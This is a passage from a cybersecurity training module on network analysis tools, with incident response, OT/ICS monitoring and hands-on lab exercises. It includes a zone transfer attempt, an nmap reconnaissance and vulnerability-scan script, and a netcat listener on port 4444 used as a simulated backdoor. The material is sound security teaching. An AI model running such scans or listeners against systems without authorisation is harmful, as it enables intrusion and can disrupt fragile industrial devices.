ip link show | grep -i promisc
echo ""

echo "--- Active VPN/Tunnel Interfaces ---"
ip link show | grep -E "tun|tap|vpn|wg|ovpn"
echo ""

echo "--- Unusual Routes ---"
ip route show | grep -v "^default\|169.254\|fe80"
echo ""

echo "===== AUDIT COMPLETE ====="
EOF
chmod +x /tmp/network_config_audit.sh
bash /tmp/network_config_audit.sh

Key Insight: ipconfig/ifconfig is the starting point for every network investigation — it establishes your current position on the network. In incident response, unexpected configurations reveal MITM attacks (wrong gateway), DNS hijacking (wrong DNS servers), and covert channels (unexpected VPN adapters or promiscuous interfaces). In OT assessments, collecting interface configuration from all devices builds the network topology without active scanning.

9. Additional Critical Tools

9.1 arp — ARP Table Management

# View ARP cache:
arp -a                              # All entries (Linux/Windows)
ip neigh show                       # Modern Linux equivalent

# Static ARP entries (prevent ARP spoofing of critical hosts):
sudo arp -s 192.168.1.1 AA:BB:CC:DD:EE:FF    # Add static entry (Linux)
sudo arp -d 192.168.1.1                       # Delete entry

# Windows:
arp -a                              # View all
netsh interface ip add neighbors "Local Area Connection" 192.168.1.1 AA-BB-CC-DD-EE-FF
# Add static ARP for gateway

# Detect ARP spoofing:
watch -n 1 arp -a                   # Monitor ARP table changes
# If gateway IP shows different MAC = ARP spoofing in progress

9.2 dig and nslookup — DNS Interrogation

# dig (Domain Information Groper) — primary DNS tool:
dig example.com                     # A record (default)
dig example.com A                   # Explicit A record
dig example.com AAAA                # IPv6 address
dig example.com MX                  # Mail exchange
dig example.com TXT                 # Text records (SPF, DKIM, etc.)
dig example.com NS                  # Name servers
dig example.com SOA                 # Start of Authority
dig -x 8.8.8.8                     # Reverse lookup (PTR)
dig @8.8.8.8 example.com           # Use specific DNS server
dig +short example.com              # Just the answer (IP only)
dig +trace example.com              # Full resolution trace (root → TLD → auth)
dig +nocmd +noall +answer example.com  # Clean output

# Security uses:
dig TXT _dmarc.example.com          # DMARC policy
dig TXT example.com | grep spf      # SPF record
dig AXFR @ns1.example.com example.com  # Zone transfer attempt
dig example.com ANY                 # All record types

# Detect DNS changes:
OLD_IP=$(dig +short example.com)
sleep 3600
NEW_IP=$(dig +short example.com)
[ "$OLD_IP" != "$NEW_IP" ] && echo "DNS CHANGED: $OLD_IP → $NEW_IP"

# nslookup:
nslookup example.com                # Basic lookup
nslookup example.com 8.8.8.8       # Use specific server
nslookup -type=MX example.com      # MX records
nslookup -type=any example.com     # All types (Windows compatible)

9.3 route — Routing Table Management

# View routing table:
route -n                            # Linux (legacy, numeric)
ip route show                       # Linux (modern)
netstat -rn                         # Cross-platform
route print                         # Windows

# Security implications of routing table:
ip route show
# default via 192.168.1.1 dev eth0  ← Default gateway — check this is expected
# 10.0.0.0/8 via 10.10.0.1         ← Route to internal network (VPN route)
# 192.168.2.0/24 dev eth1           ← Directly connected network

# Check for suspicious routes:
ip route show | grep -v "^default\|^192.168\|^10\.\|^172\."
# Unexpected routes to external IPs = possible MITM or routing attack

# Add/remove routes:
sudo ip route add 10.20.0.0/24 via 192.168.1.254  # Add route
sudo ip route del 10.20.0.0/24                      # Remove route

# Windows:
route add 10.20.0.0 mask 255.255.255.0 192.168.1.254  # Add route
route delete 10.20.0.0                                  # Remove route

10. Tool Integration — Building Investigation Workflows

10.1 Incident Response Workflow

#!/bin/bash
# Comprehensive network evidence collection for incident response

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
EVIDENCE_DIR="/tmp/ir_evidence_$TIMESTAMP"
mkdir -p "$EVIDENCE_DIR"

echo "Collecting network evidence to $EVIDENCE_DIR"

# 1. Current connections:
echo "=== Collecting connection state ==="
ss -tnp > "$EVIDENCE_DIR/connections_tcp.txt"
ss -unp > "$EVIDENCE_DIR/connections_udp.txt"
ss -tlnp > "$EVIDENCE_DIR/listening_services.txt"

# 2. Network configuration:
echo "=== Collecting interface config ==="
ip addr show > "$EVIDENCE_DIR/interfaces.txt"
ip route show > "$EVIDENCE_DIR/routing.txt"
ip neigh show > "$EVIDENCE_DIR/arp_cache.txt"
cat /etc/resolv.conf > "$EVIDENCE_DIR/dns_config.txt"

# 3. Active processes with network connections:
echo "=== Correlating processes to connections ==="
ss -tnp | awk 'NR>1 && /ESTABLISHED/{print $5, $6}' | sort > "$EVIDENCE_DIR/established_with_process.txt"

# 4. Start packet capture:
echo "=== Starting packet capture (60 seconds) ==="
timeout 60 tcpdump -i any -w "$EVIDENCE_DIR/traffic.pcap" -s 0 2>/dev/null &
TCPDUMP_PID=$!

# 5. DNS cache (if applicable):
echo "=== Collecting DNS cache ==="
if command -v resolvectl &>/dev/null; then
    resolvectl statistics > "$EVIDENCE_DIR/dns_stats.txt"
fi

# 6. Check for suspicious listening ports:
echo "=== Checking for unexpected listeners ==="
ss -tlnp | awk 'NR>1 {print $4, $6}' | while read addr proc; do
    port=$(echo $addr | cut -d: -f2)
    # Flag non-standard ports that are listening
    if [[ $port -gt 1024 ]] && [[ $port -ne 3306 ]] && [[ $port -ne 5432 ]]; then
        echo "Non-standard listener: $addr ($proc)" >> "$EVIDENCE_DIR/suspicious_listeners.txt"
    fi
done

wait $TCPDUMP_PID 2>/dev/null

echo "Evidence collection complete: $EVIDENCE_DIR"
ls -la "$EVIDENCE_DIR"

10.2 Network Reconnaissance Workflow (Penetration Testing)

#!/bin/bash
# Structured network reconnaissance for authorised penetration testing

TARGET_NETWORK=${1:-"192.168.1.0/24"}
OUTPUT_DIR="./recon_$(date +%Y%m%d)"
mkdir -p "$OUTPUT_DIR"

echo "=== Phase 1: Host Discovery ==="
sudo nmap -sn "$TARGET_NETWORK" -oG "$OUTPUT_DIR/phase1_hosts.gnmap" 2>/dev/null
LIVE_HOSTS=$(grep "Status: Up" "$OUTPUT_DIR/phase1_hosts.gnmap" | awk '{print $2}' | tee "$OUTPUT_DIR/live_hosts.txt")
echo "Found $(wc -l < "$OUTPUT_DIR/live_hosts.txt") live hosts"

echo "=== Phase 2: Port Scan ==="
sudo nmap -sS --top-ports 1000 --open \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase2_ports" 2>/dev/null
echo "Port scan complete"

echo "=== Phase 3: Service Detection ==="
sudo nmap -sV -sC \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase3_services" 2>/dev/null

echo "=== Phase 4: Quick Vulnerability Check ==="
sudo nmap --script "vuln and not intrusive" \
    -iL "$OUTPUT_DIR/live_hosts.txt" \
    -oA "$OUTPUT_DIR/phase4_vulns" 2>/dev/null

echo "=== Summary ==="
echo "Live hosts: $(wc -l < "$OUTPUT_DIR/live_hosts.txt")"
echo "Hosts with web services:"
grep "80/open\|443/open\|8080/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo "Hosts with SMB:"
grep "445/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo "Hosts with RDP:"
grep "3389/open" "$OUTPUT_DIR/phase2_ports.gnmap" | wc -l
echo ""
echo "Results saved to $OUTPUT_DIR"

10.3 Traffic Analysis Workflow

# Automated traffic analysis for SOC/threat hunting:

# Capture traffic:
sudo tcpdump -i eth0 -w /tmp/analysis.pcap -s 0 \
    'not (host 192.168.1.1 and port 22)' &  # Exclude your SSH session
sleep 300    # Capture 5 minutes
kill %1

# Analysis pipeline:
tshark -r /tmp/analysis.pcap -q -z conv,tcp | head -30   # Top TCP conversations
tshark -r /tmp/analysis.pcap -q -z io,phs                 # Protocol hierarchy
tshark -r /tmp/analysis.pcap -Y "dns.flags.response == 0" \
    -T fields -e dns.qry.name | sort | uniq -c | sort -rn | head -20  # Top DNS queries

# Find potential beaconing (regular-interval connections):
tshark -r /tmp/analysis.pcap -T fields \
    -e frame.time_epoch -e ip.dst -e tcp.dstport \
    -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" | \
    awk '{print $2":"$3}' | sort | uniq -c | sort -rn | head -20
# High count to same IP:port = possible beacon

# Find large data transfers:
tshark -r /tmp/analysis.pcap -q -z endpoints,ip | \
    awk 'NR>4 {print $3, $1}' | sort -rn | head -20
# Large bytes_sent from internal IP to external = possible exfiltration

11. Network Analysis in OT/ICS Environments

11.1 Passive vs Active Analysis in OT

The cardinal rule of network analysis in OT environments: passive first, active only with explicit approval.

Passive Analysis Tools (safe for OT):
  Wireshark/tcpdump: listen-only, no traffic injection
  - Connect via SPAN/mirror port on managed switch
  - Use network TAP (hardware device) for full-duplex capture
  - Analyse traffic generated by existing devices — no new traffic created

  Netstat/ss: local host analysis
  - Run on engineering workstations, HMI servers
  - No network traffic generated — purely local

  ipconfig/ifconfig/ip: interface configuration
  - Local host only — no network impact

Active Analysis Tools (require approval in OT):
  Ping: low risk (usually), but must be approved
  - Some legacy RTUs crash on unexpected ICMP
  - Always check with vendor before pinging OT devices

  Traceroute: moderate risk
  - Sends TTL-limited packets — some OT devices respond unexpectedly
  - Useful for mapping, but schedule during maintenance if possible

  Nmap: HIGH risk — must have written approval and operational window
  - PLCs can crash or restart on unexpected port scans
  - Safety systems: NEVER scan without vendor written approval

11.2 Industrial Protocol Analysis in Wireshark

# Wireshark dissectors for OT protocols:

# Modbus TCP (port 502):
# Wireshark automatically dissects Modbus if capture contains port 502 traffic
# Useful display filters:
# modbus.func_code == 3    (Read Holding Registers — most common)
# modbus.func_code == 16   (Preset Multiple Registers — write commands)
# modbus.func_code == 1    (Read Coil Status)
# modbus.exception_code    (Modbus error responses)

# Security analysis of Modbus:
sudo tshark -r ot_capture.pcap \
    -Y "modbus.func_code >= 5" \   # Write commands only
    -T fields \
    -e frame.time \
    -e ip.src \
    -e ip.dst \
    -e modbus.func_code \
    -e modbus.reference_num        # Register number being written

# DNP3 (port 20000):
# Filter: dnp3
# Security-relevant function codes:
# 3 = Time and Date (write)
# 4 = File Transfer
# 13 = Object 21 (frozen analog — operational data)
# 129 = Response (data from field device)

# IEC 60870-5-104 (port 2404):
# Filter: iec104
# ASDU type analysis for operational data vs control commands

# OPC-UA (port 4840):
# Filter: opcua
# Look for: unusual sessions, high data transfer, unexpected service calls

# EtherNet/IP / CIP (port 44818):
# Filter: enip or cip
# CIP services of concern:
# 0x4C = Get Attribute Single (reconnaissance)
# 0x4D = Set Attribute Single (configuration change)
# 0x10 = Set Attribute All (bulk configuration change)

# PROFINET (uses Ethernet frames directly):
# Filter: pn_io or pn_dcp
# DCP: Device discovery protocol (maps device layout)
# RT: Real-time data frames (process data)

# BACnet (UDP 47808):
# Filter: bacnet
# Service: readProperty (reconnaissance)
# Service: writeProperty (control)

11.3 OT-Specific Security Monitoring

# Baseline normal OT traffic, then alert on deviations:

# Step 1: Capture baseline during known-good operation
sudo tcpdump -i eth0 -w /tmp/ot_baseline_$(date +%H%M%S).pcap \
    -G 3600 -W 24 \                # 1 hour rotation, keep 24 files (1 day)
    'port 502 or port 20000 or port 2404 or port 44818 or port 47808'

# Step 2: Build source-destination matrix from baseline
tshark -r /tmp/ot_baseline.pcap -q -z conv,tcp | tail -n +5 | \
    awk '{print $1, "<->", $3}' | sort -u > /tmp/expected_connections.txt

# Step 3: Compare current traffic against baseline
tshark -r /tmp/current.pcap -q -z conv,tcp | tail -n +5 | \
    awk '{print $1, "<->", $3}' | sort -u > /tmp/current_connections.txt

# Connections not in baseline = potential anomaly:
comm -13 /tmp/expected_connections.txt /tmp/current_connections.txt
echo "Above connections are NEW — not seen in baseline"

# Step 4: Alert on write commands to PLCs (should be rare during operation):
sudo tshark -i eth0 -Y "modbus.func_code >= 5" \
    -T fields -e frame.time -e ip.src -e ip.dst -e modbus.func_code | \
    while read line; do
        echo "[ALERT] Modbus write command: $line" | logger -t OT_SECURITY
    done

12. Hands-On Exercises

Exercise 1: Wireshark Protocol Deep-Dive (45 minutes)

# Download sample captures from Wireshark's wiki:
wget -q https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap \
    -O /tmp/http_sample.pcap 2>/dev/null || \
    echo "Download from wiki.wireshark.org/SampleCaptures manually"

# If no download, generate your own:
sudo tcpdump -i eth0 -w /tmp/my_capture.pcap -c 500 &
# Browse some websites, then:
curl http://neverssl.com/ > /dev/null
curl https://example.com > /dev/null
nslookup google.com > /dev/null
kill %1 2>/dev/null

# Analysis tasks (in Wireshark):
CAPTURE="/tmp/my_capture.pcap"

echo "=== Task 1: Protocol Distribution ==="
tshark -r "$CAPTURE" -q -z io,phs 2>/dev/null | head -20

echo "=== Task 2: Top 5 Talkers ==="
tshark -r "$CAPTURE" -q -z conv,ip 2>/dev/null | head -10

echo "=== Task 3: DNS Queries Made ==="
tshark -r "$CAPTURE" -Y "dns.flags.response == 0" \
    -T fields -e dns.qry.name 2>/dev/null | sort | uniq -c | sort -rn

echo "=== Task 4: HTTP Requests ==="
tshark -r "$CAPTURE" -Y "http.request" \
    -T fields -e ip.src -e http.host -e http.request.uri 2>/dev/null | head -10

echo "=== Task 5: TCP Connections ==="
tshark -r "$CAPTURE" -q -z conv,tcp 2>/dev/null | head -10

echo "=== Task 6: Open Wireshark for visual analysis ==="
echo "Commands: wireshark $CAPTURE"
echo "Try these filters:"
echo "  tcp.flags.syn == 1 and tcp.flags.ack == 0"
echo "  http.request"
echo "  dns"
echo "  ip.addr == 8.8.8.8"

Exercise 2: Nmap Discovery and Scanning (30 minutes)

# Nmap exercises (on your own lab network)

NETWORK="192.168.1.0/24"  # Change to your network

echo "=== Exercise 2.1: Host Discovery ==="
sudo nmap -sn "$NETWORK" | grep -E "Nmap scan|Host is"

echo "=== Exercise 2.2: SYN scan of single host ==="
TARGET=$(sudo nmap -sn "$NETWORK" | grep "report for" | head -1 | awk '{print $NF}')
echo "Scanning $TARGET..."
sudo nmap -sS -p 1-1000 "$TARGET" 2>/dev/null | tail -20

echo "=== Exercise 2.3: Version detection ==="
sudo nmap -sV -p 22,80,443 "$TARGET" 2>/dev/null

echo "=== Exercise 2.4: NSE default scripts ==="
sudo nmap -sC -p 22,80,443 "$TARGET" 2>/dev/null | head -30

echo "=== Exercise 2.5: OS detection ==="
sudo nmap -O "$TARGET" 2>/dev/null | grep -A5 "OS details"

echo "=== Exercise 2.6: Save results ==="
sudo nmap -sS -sV -oA /tmp/nmap_exercise "$TARGET" 2>/dev/null
echo "Results saved: /tmp/nmap_exercise.{nmap,xml,gnmap}"
echo "Open XML in Metasploit: db_import /tmp/nmap_exercise.xml"

Exercise 3: Network Forensics Investigation (45 minutes)

# Simulate a security incident and investigate

# Step 1: Create baseline network state
echo "=== Baseline Network State ==="
ss -tnp > /tmp/baseline_connections.txt
ip addr show > /tmp/baseline_interfaces.txt
ip route show > /tmp/baseline_routes.txt
ip neigh show > /tmp/baseline_arp.txt
echo "Baseline saved"

# Step 2: Start a background listener (simulating backdoor):
nc -l 4444 &
NC_PID=$!
echo "Simulated backdoor started on port 4444 (PID: $NC_PID)"

# Step 3: Investigate — find the "backdoor":
echo ""
echo "=== INVESTIGATION ==="

echo "--- Step A: Check for new listening ports ---"
ss -tlnp | grep -v "$(cat /tmp/baseline_connections.txt | awk '{print $4}' | grep LISTEN | tr '\n' '|')"

echo ""
echo "--- Step B: Find the specific listener ---"
ss -tlnp | grep ":4444"

echo ""
echo "--- Step C: Identify the process ---"
ss -tlnp | grep ":4444" | grep -oE 'pid=[0-9]+' | while read pid; do
    pid_num=${pid#pid=}
    echo "PID: $pid_num"
    echo "Command: $(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')"
    echo "Executable: $(ls -la /proc/$pid_num/exe 2>/dev/null)"
done

echo ""
echo "--- Step D: Check ARP for new hosts ---"
diff /tmp/baseline_arp.txt <(ip neigh show) | grep "^>" || echo "No new ARP entries"

# Step 4: Cleanup
kill $NC_PID 2>/dev/null
echo ""
echo "=== Investigation complete. Backdoor cleaned up. ==="

Exercise 4: Build a Network Monitor Script (30 minutes)

cat > /tmp/network_monitor.sh << 'SCRIPT'
#!/bin/bash
# Network security monitor — baseline and alert on changes

BASELINE_DIR="/tmp/net_baseline"
ALERT_LOG="/tmp/net_alerts.log"
mkdir -p "$BASELINE_DIR"

create_baseline() {
    echo "Creating baseline..."
    ss -tlnp | awk 'NR>1 {print $4, $6}' | sort > "$BASELINE_DIR/listeners.txt"
    ip neigh show | awk '{print $1, $5}' | sort > "$BASELINE_DIR/arp.txt"
    ip route show > "$BASELINE_DIR/routes.txt"
    echo "Baseline created at $(date)"
}

check_changes() {
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')

    # Check for new listeners
    CURRENT_LISTENERS=$(ss -tlnp | awk 'NR>1 {print $4, $6}' | sort)
    NEW_LISTENERS=$(comm -13 "$BASELINE_DIR/listeners.txt" <(echo "$CURRENT_LISTENERS"))
    if [ -n "$NEW_LISTENERS" ]; then
        echo "[$timestamp] NEW LISTENER DETECTED:" | tee -a "$ALERT_LOG"
        echo "$NEW_LISTENERS" | tee -a "$ALERT_LOG"
    fi

    # Check for new ARP entries
    CURRENT_ARP=$(ip neigh show | awk '{print $1, $5}' | sort)
    NEW_ARP=$(comm -13 "$BASELINE_DIR/arp.txt" <(echo "$CURRENT_ARP"))
    if [ -n "$NEW_ARP" ]; then
        echo "[$timestamp] NEW HOST DETECTED (ARP):" | tee -a "$ALERT_LOG"
        echo "$NEW_ARP" | tee -a "$ALERT_LOG"
    fi

    # Check for route changes
    CURRENT_ROUTES=$(ip route show)
    if ! diff "$BASELINE_DIR/routes.txt" <(echo "$CURRENT_ROUTES") > /dev/null 2>&1; then
        echo "[$timestamp] ROUTING TABLE CHANGED!" | tee -a "$ALERT_LOG"
        diff "$BASELINE_DIR/routes.txt" <(echo "$CURRENT_ROUTES") | tee -a "$ALERT_LOG"
    fi
}

case "${1:-check}" in
    baseline) create_baseline ;;
    check)    check_changes ;;
    monitor)
        create_baseline
        echo "Monitoring for changes... (Ctrl+C to stop)"
        while true; do
            check_changes
            sleep 30
        done
        ;;
    *)
        echo "Usage: $0 [baseline|check|monitor]"
        ;;
esac
SCRIPT

chmod +x /tmp/network_monitor.sh
echo "Usage:"
echo "  bash /tmp/network_monitor.sh baseline  # Create baseline"
echo "  bash /tmp/network_monitor.sh check     # Check for changes"
echo "  bash /tmp/network_monitor.sh monitor   # Continuous monitoring"

13. Module Summary

Tool	Primary Function	Key Security Use	OT/ICS Notes
Wireshark	GUI packet capture and analysis	Full protocol dissection, credential capture in cleartext protocols, follow TCP stream for session reconstruction	Safe (passive via SPAN/TAP); Modbus/DNP3/IEC 61850 dissectors built-in
tshark	CLI Wireshark	Scripted analysis, remote capture via SSH, automated field extraction	Same as Wireshark — passive, no impact
tcpdump	CLI packet capture	Evidence collection, real-time monitoring, piping to analysis tools	Available on embedded Linux OT systems; safest active tool
netstat	Connection state viewer	Backdoor detection (unexpected listeners), active connection analysis, process-to-port mapping	Run on HMI/SCADA servers for connection audit
ss	Modern netstat replacement	Same as netstat, faster, richer filtering	Preferred on modern Linux OT systems
Nmap (host discovery)	Identify live hosts	Network mapping, asset discovery, scope definition	Use -sn with ICMP only; get approval; schedule maintenance window
Nmap (port scan)	Identify open services	Attack surface enumeration, service version detection	HIGH risk in OT; PLC/RTU may crash; written approval mandatory
Nmap NSE	Automated vulnerability/info scripts	Vuln checking (EternalBlue, Heartbleed), OT protocol fingerprinting	OT-specific scripts (modbus-discover, s7-info) useful but still invasive
Traceroute	Path discovery	Network topology mapping, firewall location, BGP anomaly detection	Moderate risk in OT; some RTUs respond unexpectedly to TTL-limited packets
Ping	Reachability and RTT	Host discovery, latency baseline, OS fingerprinting (TTL), covert channel detection	Low risk but get approval; some legacy field devices unstable with unexpected ICMP
ipconfig	Windows interface config	MITM detection (wrong gateway/DNS), VPN adapter detection, forensic timestamps	Run on Windows HMI/engineering workstations for configuration audit
ifconfig/ip	Linux interface config	Interface configuration, promiscuous mode detection, route analysis	Run on Linux-based HMI/SCADA servers
dig/nslookup	DNS interrogation	DNS security checks (SPF/DMARC/DKIM), zone transfer, subdomain enumeration	Useful for verifying DNS configuration of OT-connected systems
arp	ARP table management	MITM detection (gateway MAC change), rogue host detection	Critical in OT: unexpected ARP entries = potential rogue device

Next Stage: Stage 2 — Cybersecurity Core

Previous Module: Stage 1.7 — Wireless Networks

Stage Index: Stage 1 README

Series Index: Full Roadmap